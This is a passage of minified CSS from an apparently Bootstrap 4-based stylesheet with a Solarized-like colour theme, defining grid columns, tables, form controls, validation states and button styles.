83.3333333333%;max-width:83.3333333333%}.col-md-11{-webkit-box-flex:0;-ms-flex:0 0 91.6666666667%;flex:0 0 91.6666666667%;max-width:91.6666666667%}.col-md-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-md-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-md-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-md-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-md-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-md-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-md-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-md-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-md-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-md-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-md-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-md-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-md-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-md-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-md-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-md-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-md-0{margin-left:0}.offset-md-1{margin-left:8.3333333333%}.offset-md-2{margin-left:16.6666666667%}.offset-md-3{margin-left:25%}.offset-md-4{margin-left:33.3333333333%}.offset-md-5{margin-left:41.6666666667%}.offset-md-6{margin-left:50%}.offset-md-7{margin-left:58.3333333333%}.offset-md-8{margin-left:66.6666666667%}.offset-md-9{margin-left:75%}.offset-md-10{margin-left:83.3333333333%}.offset-md-11{margin-left:91.6666666667%}}@media (min-width: 992px){.col-lg{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-lg-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-lg-1{-webkit-box-flex:0;-ms-flex:0 0 8.3333333333%;flex:0 0 8.3333333333%;max-width:8.3333333333%}.col-lg-2{-webkit-box-flex:0;-ms-flex:0 0 16.6666666667%;flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-lg-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-lg-4{-webkit-box-flex:0;-ms-flex:0 0 33.3333333333%;flex:0 0 33.3333333333%;max-width:33.3333333333%}.col-lg-5{-webkit-box-flex:0;-ms-flex:0 0 41.6666666667%;flex:0 0 41.6666666667%;max-width:41.6666666667%}.col-lg-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-lg-7{-webkit-box-flex:0;-ms-flex:0 0 58.3333333333%;flex:0 0 58.3333333333%;max-width:58.3333333333%}.col-lg-8{-webkit-box-flex:0;-ms-flex:0 0 66.6666666667%;flex:0 0 66.6666666667%;max-width:66.6666666667%}.col-lg-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-lg-10{-webkit-box-flex:0;-ms-flex:0 0 83.3333333333%;flex:0 0 83.3333333333%;max-width:83.3333333333%}.col-lg-11{-webkit-box-flex:0;-ms-flex:0 0 91.6666666667%;flex:0 0 91.6666666667%;max-width:91.6666666667%}.col-lg-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-lg-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-lg-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-lg-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-lg-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-lg-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-lg-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-lg-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-lg-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-lg-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-lg-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-lg-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-lg-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-lg-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-lg-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-lg-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-lg-0{margin-left:0}.offset-lg-1{margin-left:8.3333333333%}.offset-lg-2{margin-left:16.6666666667%}.offset-lg-3{margin-left:25%}.offset-lg-4{margin-left:33.3333333333%}.offset-lg-5{margin-left:41.6666666667%}.offset-lg-6{margin-left:50%}.offset-lg-7{margin-left:58.3333333333%}.offset-lg-8{margin-left:66.6666666667%}.offset-lg-9{margin-left:75%}.offset-lg-10{margin-left:83.3333333333%}.offset-lg-11{margin-left:91.6666666667%}}@media (min-width: 1200px){.col-xl{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-xl-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-xl-1{-webkit-box-flex:0;-ms-flex:0 0 8.3333333333%;flex:0 0 8.3333333333%;max-width:8.3333333333%}.col-xl-2{-webkit-box-flex:0;-ms-flex:0 0 16.6666666667%;flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-xl-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-xl-4{-webkit-box-flex:0;-ms-flex:0 0 33.3333333333%;flex:0 0 33.3333333333%;max-width:33.3333333333%}.col-xl-5{-webkit-box-flex:0;-ms-flex:0 0 41.6666666667%;flex:0 0 41.6666666667%;max-width:41.6666666667%}.col-xl-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-xl-7{-webkit-box-flex:0;-ms-flex:0 0 58.3333333333%;flex:0 0 58.3333333333%;max-width:58.3333333333%}.col-xl-8{-webkit-box-flex:0;-ms-flex:0 0 66.6666666667%;flex:0 0 66.6666666667%;max-width:66.6666666667%}.col-xl-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-xl-10{-webkit-box-flex:0;-ms-flex:0 0 83.3333333333%;flex:0 0 83.3333333333%;max-width:83.3333333333%}.col-xl-11{-webkit-box-flex:0;-ms-flex:0 0 91.6666666667%;flex:0 0 91.6666666667%;max-width:91.6666666667%}.col-xl-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-xl-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-xl-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-xl-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-xl-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-xl-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-xl-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-xl-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-xl-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-xl-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-xl-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-xl-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-xl-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-xl-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-xl-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-xl-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.3333333333%}.offset-xl-2{margin-left:16.6666666667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.3333333333%}.offset-xl-5{margin-left:41.6666666667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.3333333333%}.offset-xl-8{margin-left:66.6666666667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.3333333333%}.offset-xl-11{margin-left:91.6666666667%}}.table{width:100%;max-width:100%;margin-bottom:1rem;background-color:transparent}.table th,.table td{padding:0.75rem;vertical-align:top;border-top:1px solid #073642}.table thead th{vertical-align:bottom;border-bottom:2px solid #073642}.table tbody+tbody{border-top:2px solid #073642}.table .table{background-color:#002B36}.table-sm th,.table-sm td{padding:0.3rem}.table-bordered{border:1px solid #073642}.table-bordered th,.table-bordered td{border:1px solid #073642}.table-bordered thead th,.table-bordered thead td{border-bottom-width:2px}.table-striped tbody tr:nth-of-type(odd){background-color:rgba(255,255,255,0.05)}.table-hover tbody tr:hover{background-color:rgba(255,255,255,0.075)}.table-primary,.table-primary>th,.table-primary>td{background-color:#eadeb8}.table-hover .table-primary:hover{background-color:#e4d5a4}.table-hover .table-primary:hover>td,.table-hover .table-primary:hover>th{background-color:#e4d5a4}.table-secondary,.table-secondary>th,.table-secondary>td{background-color:#dce1e2}.table-hover .table-secondary:hover{background-color:#ced5d6}.table-hover .table-secondary:hover>td,.table-hover .table-secondary:hover>th{background-color:#ced5d6}.table-success,.table-success>th,.table-success>td{background-color:#c3e5e2}.table-hover .table-success:hover{background-color:#b1ddd9}.table-hover .table-success:hover>td,.table-hover .table-success:hover>th{background-color:#b1ddd9}.table-info,.table-info>th,.table-info>td{background-color:#c2dff2}.table-hover .table-info:hover{background-color:#add4ee}.table-hover .table-info:hover>td,.table-hover .table-info:hover>th{background-color:#add4ee}.table-warning,.table-warning>th,.table-warning>td{background-color:#f0cdbe}.table-hover .table-warning:hover{background-color:#ebbda9}.table-hover .table-warning:hover>td,.table-hover .table-warning:hover>th{background-color:#ebbda9}.table-danger,.table-danger>th,.table-danger>td{background-color:#f3c7dc}.table-hover .table-danger:hover{background-color:#efb2cf}.table-hover .table-danger:hover>td,.table-hover .table-danger:hover>th{background-color:#efb2cf}.table-light,.table-light>th,.table-light>td{background-color:#fefcf7}.table-hover .table-light:hover{background-color:#fbf4e0}.table-hover .table-light:hover>td,.table-hover .table-light:hover>th{background-color:#fbf4e0}.table-dark,.table-dark>th,.table-dark>td{background-color:#bac7ca}.table-hover .table-dark:hover{background-color:#acbbbf}.table-hover .table-dark:hover>td,.table-hover .table-dark:hover>th{background-color:#acbbbf}.table-active,.table-active>th,.table-active>td{background-color:rgba(255,255,255,0.075)}.table-hover .table-active:hover{background-color:rgba(242,242,242,0.075)}.table-hover .table-active:hover>td,.table-hover .table-active:hover>th{background-color:rgba(242,242,242,0.075)}.table .thead-dark th{color:#002B36;background-color:#adb5bd;border-color:#a5adb6}.table .thead-light th{color:#495057;background-color:#EEE8D5;border-color:#073642}.table-dark{color:#002B36;background-color:#adb5bd}.table-dark th,.table-dark td,.table-dark thead th{border-color:#a5adb6}.table-dark.table-bordered{border:0}.table-dark.table-striped tbody tr:nth-of-type(odd){background-color:rgba(255,255,255,0.05)}.table-dark.table-hover tbody tr:hover{background-color:rgba(255,255,255,0.075)}@media (max-width: 575.98px){.table-responsive-sm{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-sm>.table-bordered{border:0}}@media (max-width: 767.98px){.table-responsive-md{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-md>.table-bordered{border:0}}@media (max-width: 991.98px){.table-responsive-lg{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-lg>.table-bordered{border:0}}@media (max-width: 1199.98px){.table-responsive-xl{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-xl>.table-bordered{border:0}}.table-responsive{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive>.table-bordered{border:0}.form-control{display:block;width:100%;padding:0.375rem 0.75rem;font-size:1rem;line-height:1.5;color:#495057;background-color:#A9BDBD;background-clip:padding-box;border:1px solid rgba(0,0,0,0.15);border-radius:0.25rem;-webkit-transition:border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;transition:border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;transition:border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;transition:border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out}.form-control::-ms-expand{background-color:transparent;border:0}.form-control:focus{color:#495057;background-color:#A9BDBD;border-color:#1394b5;outline:0;-webkit-box-shadow:0 0 0 0.2rem rgba(7,54,66,0.25);box-shadow:0 0 0 0.2rem rgba(7,54,66,0.25)}.form-control::-webkit-input-placeholder{color:#657B83;opacity:1}.form-control:-ms-input-placeholder{color:#657B83;opacity:1}.form-control::-ms-input-placeholder{color:#657B83;opacity:1}.form-control::placeholder{color:#657B83;opacity:1}.form-control:disabled,.form-control[readonly]{background-color:#657B83;opacity:1}select.form-control:not([size]):not([multiple]){height:calc(2.25rem + 2px)}select.form-control:focus::-ms-value{color:#495057;background-color:#A9BDBD}.form-control-file,.form-control-range{display:block;width:100%}.col-form-label{padding-top:calc(0.375rem + 1px);padding-bottom:calc(0.375rem + 1px);margin-bottom:0;font-size:inherit;line-height:1.5}.col-form-label-lg{padding-top:calc(0.5rem + 1px);padding-bottom:calc(0.5rem + 1px);font-size:1.25rem;line-height:1.5}.col-form-label-sm{padding-top:calc(0.25rem + 1px);padding-bottom:calc(0.25rem + 1px);font-size:0.875rem;line-height:1.5}.form-control-plaintext{display:block;width:100%;padding-top:0.375rem;padding-bottom:0.375rem;margin-bottom:0;line-height:1.5;background-color:transparent;border:solid transparent;border-width:1px 0}.form-control-plaintext.form-control-sm,.input-group-sm>.form-control-plaintext.form-control,.input-group-sm>.input-group-prepend>.form-control-plaintext.input-group-text,.input-group-sm>.input-group-append>.form-control-plaintext.input-group-text,.input-group-sm>.input-group-prepend>.form-control-plaintext.btn,.input-group-sm>.input-group-append>.form-control-plaintext.btn,.form-control-plaintext.form-control-lg,.input-group-lg>.form-control-plaintext.form-control,.input-group-lg>.input-group-prepend>.form-control-plaintext.input-group-text,.input-group-lg>.input-group-append>.form-control-plaintext.input-group-text,.input-group-lg>.input-group-prepend>.form-control-plaintext.btn,.input-group-lg>.input-group-append>.form-control-plaintext.btn{padding-right:0;padding-left:0}.form-control-sm,.input-group-sm>.form-control,.input-group-sm>.input-group-prepend>.input-group-text,.input-group-sm>.input-group-append>.input-group-text,.input-group-sm>.input-group-prepend>.btn,.input-group-sm>.input-group-append>.btn{padding:0.25rem 0.5rem;font-size:0.875rem;line-height:1.5;border-radius:0.2rem}select.form-control-sm:not([size]):not([multiple]),.input-group-sm>select.form-control:not([size]):not([multiple]),.input-group-sm>.input-group-prepend>select.input-group-text:not([size]):not([multiple]),.input-group-sm>.input-group-append>select.input-group-text:not([size]):not([multiple]),.input-group-sm>.input-group-prepend>select.btn:not([size]):not([multiple]),.input-group-sm>.input-group-append>select.btn:not([size]):not([multiple]){height:calc(1.8125rem + 2px)}.form-control-lg,.input-group-lg>.form-control,.input-group-lg>.input-group-prepend>.input-group-text,.input-group-lg>.input-group-append>.input-group-text,.input-group-lg>.input-group-prepend>.btn,.input-group-lg>.input-group-append>.btn{padding:0.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:0.3rem}select.form-control-lg:not([size]):not([multiple]),.input-group-lg>select.form-control:not([size]):not([multiple]),.input-group-lg>.input-group-prepend>select.input-group-text:not([size]):not([multiple]),.input-group-lg>.input-group-append>select.input-group-text:not([size]):not([multiple]),.input-group-lg>.input-group-prepend>select.btn:not([size]):not([multiple]),.input-group-lg>.input-group-append>select.btn:not([size]):not([multiple]){height:calc(2.875rem + 2px)}.form-group{margin-bottom:1rem}.form-text{display:block;margin-top:0.25rem}.form-row{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-5px;margin-left:-5px}.form-row>.col,.form-row>[class*="col-"]{padding-right:5px;padding-left:5px}.form-check{position:relative;display:block;padding-left:1.25rem}.form-check-input{position:absolute;margin-top:0.3rem;margin-left:-1.25rem}.form-check-input:disabled ~ .form-check-label{color:#839496}.form-check-label{margin-bottom:0}.form-check-inline{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;padding-left:0;margin-right:0.75rem}.form-check-inline .form-check-input{position:static;margin-top:0;margin-right:0.3125rem;margin-left:0}.valid-feedback{display:none;width:100%;margin-top:0.25rem;font-size:80%;color:#2AA198}.valid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.5rem;margin-top:.1rem;font-size:.875rem;line-height:1;color:#fff;background-color:rgba(42,161,152,0.8);border-radius:.2rem}.was-validated .form-control:valid,.form-control.is-valid,.was-validated .custom-select:valid,.custom-select.is-valid{border-color:#2AA198}.was-validated .form-control:valid:focus,.form-control.is-valid:focus,.was-validated .custom-select:valid:focus,.custom-select.is-valid:focus{border-color:#2AA198;-webkit-box-shadow:0 0 0 0.2rem rgba(42,161,152,0.25);box-shadow:0 0 0 0.2rem rgba(42,161,152,0.25)}.was-validated .form-control:valid ~ .valid-feedback,.was-validated .form-control:valid ~ .valid-tooltip,.form-control.is-valid ~ .valid-feedback,.form-control.is-valid ~ .valid-tooltip,.was-validated .custom-select:valid ~ .valid-feedback,.was-validated .custom-select:valid ~ .valid-tooltip,.custom-select.is-valid ~ .valid-feedback,.custom-select.is-valid ~ .valid-tooltip{display:block}.was-validated .form-check-input:valid ~ .form-check-label,.form-check-input.is-valid ~ .form-check-label{color:#2AA198}.was-validated .form-check-input:valid ~ .valid-feedback,.was-validated .form-check-input:valid ~ .valid-tooltip,.form-check-input.is-valid ~ .valid-feedback,.form-check-input.is-valid ~ .valid-tooltip{display:block}.was-validated .custom-control-input:valid ~ .custom-control-label,.custom-control-input.is-valid ~ .custom-control-label{color:#2AA198}.was-validated .custom-control-input:valid ~ .custom-control-label::before,.custom-control-input.is-valid ~ .custom-control-label::before{background-color:#71dad2}.was-validated .custom-control-input:valid ~ .valid-feedback,.was-validated .custom-control-input:valid ~ .valid-tooltip,.custom-control-input.is-valid ~ .valid-feedback,.custom-control-input.is-valid ~ .valid-tooltip{display:block}.was-validated .custom-control-input:valid:checked ~ .custom-control-label::before,.custom-control-input.is-valid:checked ~ .custom-control-label::before{background-color:#35c9be}.was-validated .custom-control-input:valid:focus ~ .custom-control-label::before,.custom-control-input.is-valid:focus ~ .custom-control-label::before{-webkit-box-shadow:0 0 0 1px #002B36,0 0 0 0.2rem rgba(42,161,152,0.25);box-shadow:0 0 0 1px #002B36,0 0 0 0.2rem rgba(42,161,152,0.25)}.was-validated .custom-file-input:valid ~ .custom-file-label,.custom-file-input.is-valid ~ .custom-file-label{border-color:#2AA198}.was-validated .custom-file-input:valid ~ .custom-file-label::before,.custom-file-input.is-valid ~ .custom-file-label::before{border-color:inherit}.was-validated .custom-file-input:valid ~ .valid-feedback,.was-validated .custom-file-input:valid ~ .valid-tooltip,.custom-file-input.is-valid ~ .valid-feedback,.custom-file-input.is-valid ~ .valid-tooltip{display:block}.was-validated .custom-file-input:valid:focus ~ .custom-file-label,.custom-file-input.is-valid:focus ~ .custom-file-label{-webkit-box-shadow:0 0 0 0.2rem rgba(42,161,152,0.25);box-shadow:0 0 0 0.2rem rgba(42,161,152,0.25)}.invalid-feedback{display:none;width:100%;margin-top:0.25rem;font-size:80%;color:#D33682}.invalid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.5rem;margin-top:.1rem;font-size:.875rem;line-height:1;color:#fff;background-color:rgba(211,54,130,0.8);border-radius:.2rem}.was-validated .form-control:invalid,.form-control.is-invalid,.was-validated .custom-select:invalid,.custom-select.is-invalid{border-color:#D33682}.was-validated .form-control:invalid:focus,.form-control.is-invalid:focus,.was-validated .custom-select:invalid:focus,.custom-select.is-invalid:focus{border-color:#D33682;-webkit-box-shadow:0 0 0 0.2rem rgba(211,54,130,0.25);box-shadow:0 0 0 0.2rem rgba(211,54,130,0.25)}.was-validated .form-control:invalid ~ .invalid-feedback,.was-validated .form-control:invalid ~ .invalid-tooltip,.form-control.is-invalid ~ .invalid-feedback,.form-control.is-invalid ~ .invalid-tooltip,.was-validated .custom-select:invalid ~ .invalid-feedback,.was-validated .custom-select:invalid ~ .invalid-tooltip,.custom-select.is-invalid ~ .invalid-feedback,.custom-select.is-invalid ~ .invalid-tooltip{display:block}.was-validated .form-check-input:invalid ~ .form-check-label,.form-check-input.is-invalid ~ .form-check-label{color:#D33682}.was-validated .form-check-input:invalid ~ .invalid-feedback,.was-validated .form-check-input:invalid ~ .invalid-tooltip,.form-check-input.is-invalid ~ .invalid-feedback,.form-check-input.is-invalid ~ .invalid-tooltip{display:block}.was-validated .custom-control-input:invalid ~ .custom-control-label,.custom-control-input.is-invalid ~ .custom-control-label{color:#D33682}.was-validated .custom-control-input:invalid ~ .custom-control-label::before,.custom-control-input.is-invalid ~ .custom-control-label::before{background-color:#ea9fc3}.was-validated .custom-control-input:invalid ~ .invalid-feedback,.was-validated .custom-control-input:invalid ~ .invalid-tooltip,.custom-control-input.is-invalid ~ .invalid-feedback,.custom-control-input.is-invalid ~ .invalid-tooltip{display:block}.was-validated .custom-control-input:invalid:checked ~ .custom-control-label::before,.custom-control-input.is-invalid:checked ~ .custom-control-label::before{background-color:#dc609c}.was-validated .custom-control-input:invalid:focus ~ .custom-control-label::before,.custom-control-input.is-invalid:focus ~ .custom-control-label::before{-webkit-box-shadow:0 0 0 1px #002B36,0 0 0 0.2rem rgba(211,54,130,0.25);box-shadow:0 0 0 1px #002B36,0 0 0 0.2rem rgba(211,54,130,0.25)}.was-validated .custom-file-input:invalid ~ .custom-file-label,.custom-file-input.is-invalid ~ .custom-file-label{border-color:#D33682}.was-validated .custom-file-input:invalid ~ .custom-file-label::before,.custom-file-input.is-invalid ~ .custom-file-label::before{border-color:inherit}.was-validated .custom-file-input:invalid ~ .invalid-feedback,.was-validated .custom-file-input:invalid ~ .invalid-tooltip,.custom-file-input.is-invalid ~ .invalid-feedback,.custom-file-input.is-invalid ~ .invalid-tooltip{display:block}.was-validated .custom-file-input:invalid:focus ~ .custom-file-label,.custom-file-input.is-invalid:focus ~ .custom-file-label{-webkit-box-shadow:0 0 0 0.2rem rgba(211,54,130,0.25);box-shadow:0 0 0 0.2rem rgba(211,54,130,0.25)}.form-inline{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.form-inline .form-check{width:100%}@media (min-width: 576px){.form-inline label{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;margin-bottom:0}.form-inline .form-group{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-box-align:center;-ms-flex-align:center;align-items:center;margin-bottom:0}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .form-control-plaintext{display:inline-block}.form-inline .input-group{width:auto}.form-inline .form-check{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;width:auto;padding-left:0}.form-inline .form-check-input{position:relative;margin-top:0;margin-right:0.25rem;margin-left:0}.form-inline .custom-control{-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.form-inline .custom-control-label{margin-bottom:0}}.btn{display:inline-block;font-weight:400;text-align:center;white-space:nowrap;vertical-align:middle;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;border:1px solid transparent;padding:0.375rem 0.75rem;font-size:1rem;line-height:1.5;border-radius:0.25rem;-webkit-transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out}.btn:hover,.btn:focus{text-decoration:none}.btn:focus,.btn.focus{outline:0;-webkit-box-shadow:0 0 0 0.2rem rgba(7,54,66,0.25);box-shadow:0 0 0 0.2rem rgba(7,54,66,0.25)}.btn.disabled,.btn:disabled{opacity:0.65}.btn:not(:disabled):not(.disabled){cursor:pointer}.btn:not(:disabled):not(.disabled):active,.btn:not(:disabled):not(.disabled).active{background-image:none}a.btn.disabled,fieldset:disabled a.btn{pointer-events:none}.btn-primary{color:#fff;background-color:#B58900;border-color:#B58900}.btn-primary:hover{color:#fff;background-color:#8f6c00;border-color:#826200}.btn-primary:focus,.btn-primary.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(181,137,0,0.5);box-shadow:0 0 0 0.2rem rgba(181,137,0,0.5)}.btn-primary.disabled,.btn-primary:disabled{color:#fff;background-color:#B58900;border-color:#B58900}.btn-primary:not(:disabled):not(.disabled):active,.btn-primary:not(:disabled):not(.disabled).active,.show>.btn-primary.dropdown-toggle{color:#fff;background-color:#826200;border-color:#755900}.btn-primary:not(:disabled):not(.disabled):active:focus,.btn-primary:not(:disabled):not(.disabled).active:focus,.show>.btn-primary.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(181,137,0,0.5);box-shadow:0 0 0 0.2rem rgba(181,137,0,0.5)}.btn-secondary{color:#fff;background-color:#839496;border-color:#839496}.btn-secondary:hover{color:#fff;background-color:#6f8183;border-color:#697b7d}.btn-secondary:focus,.btn-secondary.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(131,148,150,0.5);box-shadow:0 0 0 0.2rem rgba(131,148,150,0.5)}.btn-secondary.disabled,.btn-secondary:disabled{color:#fff;background-color:#839496;border-color:#839496}.btn-secondary:not(:disabled):not(.disabled):active,.btn-secondary:not(:disabled):not(.disabled).active,.show>.btn-secondary.dropdown-toggle{color:#fff;background-color:#697b7d;border-color:#647476}.btn-secondary:not(:disabled):not(.disabled):active:focus,.btn-secondary:not(:disabled):not(.disabled).active:focus,.show>.btn-secondary.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(131,148,150,0.5);box-shadow:0 0 0 0.2rem rgba(131,148,150,0.5)}.btn-success{color:#fff;background-color:#2AA198;border-color:#2AA198}.btn-success:hover{color:#fff;background-color:#22837b;border-color:#1f7972}.btn-success:focus,.btn-success.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(42,161,152,0.5);box-shadow:0 0 0 0.2rem rgba(42,161,152,0.5)}.btn-success.disabled,.btn-success:disabled{color:#fff;background-color:#2AA198;border-color:#2AA198}.btn-success:not(:disabled):not(.disabled):active,.btn-success:not(:disabled):not(.disabled).active,.show>.btn-success.dropdown-toggle{color:#fff;background-color:#1f7972;border-color:#1d6e68}.btn-success:not(:disabled):not(.disabled):active:focus,.btn-success:not(:disabled):not(.disabled).active:focus,.show>.btn-success.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(42,161,152,0.5);box-shadow:0 0 0 0.2rem rgba(42,161,152,0.5)}.btn-info{color:#fff;background-color:#268BD2;border-color:#268BD2}.btn-info:hover{color:#fff;background-color:#2076b2;border-color:#1e6ea7}.btn-info:focus,.btn-info.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(38,139,210,0.5);box-shadow:0 0 0 0.2rem rgba(38,139,210,0.5)}.btn-info.disabled,.btn-info:disabled{color:#fff;background-color:#268BD2;border-color:#268BD2}.btn-info:not(:disabled):not(.disabled):active,.btn-info:not(:disabled):not(.disabled).active,.show>.btn-info.dropdown-toggle{color:#fff;background-color:#1e6ea7;border-color:#1c679c}.btn-info:not(:disabled):not(.disabled):active:focus,.btn-info:not(:disabled):not(.disabled).active:focus,.show>.btn-info.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(38,139,210,0.5);box-shadow:0 0 0 0.2rem rgba(38,139,210,0.5)}.btn-warning{color:#fff;background-color:#CB4B16;border-color:#CB4B16}.btn-warning:hover{color:#fff;background-color:#a83e12;border-color:#9d3a11}.btn-warning:focus,.btn-warning.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(203,75,22,0.5);box-shadow:0 0 0 0.2rem 